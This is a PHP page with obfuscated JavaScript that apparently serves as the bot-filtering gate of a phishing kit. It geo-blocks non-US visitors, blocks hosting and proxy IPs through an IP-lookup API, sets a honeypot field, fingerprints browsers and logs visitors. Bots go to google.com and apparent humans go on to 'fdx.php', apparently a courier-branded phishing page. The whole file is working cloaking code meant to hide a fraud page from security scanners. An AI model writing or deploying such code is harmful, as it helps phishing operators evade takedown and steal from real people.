<?php
if (session_status() === PHP_SESSION_NONE) { session_start(); }

// --- CONFIGURATION ---
$bot_log = "bots.txt";
$human_log = "humans.txt";
$redirect_bot = "https://google.com";

// Helper function for logging
function log_event($file, $ip, $isp, $country, $reason) {
    $entry = "[" . date("Y-m-d H:i:s") . "] IP: $ip | Country: $country | ISP: $isp | Reason: $reason" . PHP_EOL;
    file_put_contents($file, $entry, FILE_APPEND);
}

$userIP = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';

// --- STAGE 1: PHP LEVEL FILTERING ---
if (!isset($_SESSION['geo_verified'])) {
    
    // Honeypot check
    if (!empty($_POST['middle_name_verification'])) {
        log_event($bot_log, $userIP, "N/A", "N/A", "Honeypot Triggered");
        header("Location: $redirect_bot"); exit();
    }

    // API Check for ISP/Country/Hosting
    $ch = curl_init("http://ip-api.com/json/$userIP?fields=status,countryCode,isp,hosting,proxy");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $res = json_decode(curl_exec($ch));
    curl_close($ch);

    if ($res && $res->status === 'success') {
        $_SESSION['country'] = $res->countryCode;
        $_SESSION['isp'] = $res->isp;

        if ($res->countryCode !== "US" || $res->hosting || $res->proxy) {
            log_event($bot_log, $userIP, $res->isp, $res->countryCode, "Blocked ISP/Hosting/Geo");
            header("Location: $redirect_bot"); exit();
        }
    }
    $_SESSION['geo_verified'] = true;
}

// --- STAGE 2: JAVASCRIPT SNIFFING RESPONSE ---
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['data'])) {
    $data = json_decode($_POST['data'], true);
    
    // The "Charter Fix": We check if navigator exists. 
    // We only fail if frame is TRUE (explicitly caught in a trap).
    $passed = isset($data['navigator']) && (!isset($data['frame']) || $data['frame'] == false);

    if ($passed) {
        log_event($human_log, $userIP, $_SESSION['isp'], $_SESSION['country'], "Passed Sniff");
        $hash = bin2hex(random_bytes(250));
        header("Location: fdx.php#" . $hash);
        exit();
    } else {
        log_event($bot_log, $userIP, $_SESSION['isp'], $_SESSION['country'], "Failed JS Sniff (Trap/Frame)");
        header("Location: $redirect_bot");
        exit();
    }
}
?>

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
  </head>
  <body>
    <script>(function(q,u,r,g,t,v,w,x){var n={},l={mode:"php",errors:n};try{function c(b,a){try{l[b]=a()}catch(f){n[b]=f.name}}function d(b,a){c(b,function(){function f(m){try{var h=a[m];switch(typeof h){case "object":null!==h&&(h=h.toString());break;case "function":h=u.prototype.toString.call(h)}e[m]=h}catch(y){n[b+"."+m]=y.name}}var e={},k;for(k in a)f(k);try{var p=q.getOwnPropertyNames(a);for(k=0;k<p.length;++k)f(p[k]);e["!!"]=p}catch(m){}return e})}d("console",r);d("document",g);(function(b,a){c(b,function(){var f=
{};a=a.attributes;for(var e in a)e=a[e],f[e.nodeName]=e.nodeValue;return f})})("documentElement",g.documentElement);d("location",t);d("navigator",v);d("window",x);d("screen",w);c("timezoneOffset",function(){return(new Date).getTimezoneOffset()});c("closure",function(){return function(){}.toString()});l.frame=!0;c("frame",function(){l.frame=self!==top});c("touchEvent",function(){return q.prototype.toString.call(g.createEvent("TouchEvent"))});c("tostring",function(){function b(){}var a=0;b.toString=
function(){++a;return""};r.log(b);return a});c("webgl",function(){var b=g.createElement("canvas").getContext("webgl"),a=b.getExtension("WEBGL_debug_renderer_info");return{vendor:b.getParameter(a.UNMASKED_VENDOR_WEBGL),renderer:b.getParameter(a.UNMASKED_RENDERER_WEBGL)}});function z(b,a,f){var e=b.prototype[a];b.prototype[a]=function(){l.proto=!0};f();b.prototype[a]=e}try{z(Array,"includes",function(){return g.createElement("video").canPlayType("video/mp4")})}catch(b){}}catch(c){}(function(){var c=
g.createElement("form"),d=g.createElement("input");c.method="POST";c.action=t.href;d.type="hidden";d.name="data";d.value=JSON.stringify(l);c.appendChild(d);g.body.appendChild(c);c.submit()})()})(Object,Function,console,document,location,navigator,screen,window);
</script>
  </body>
</html>
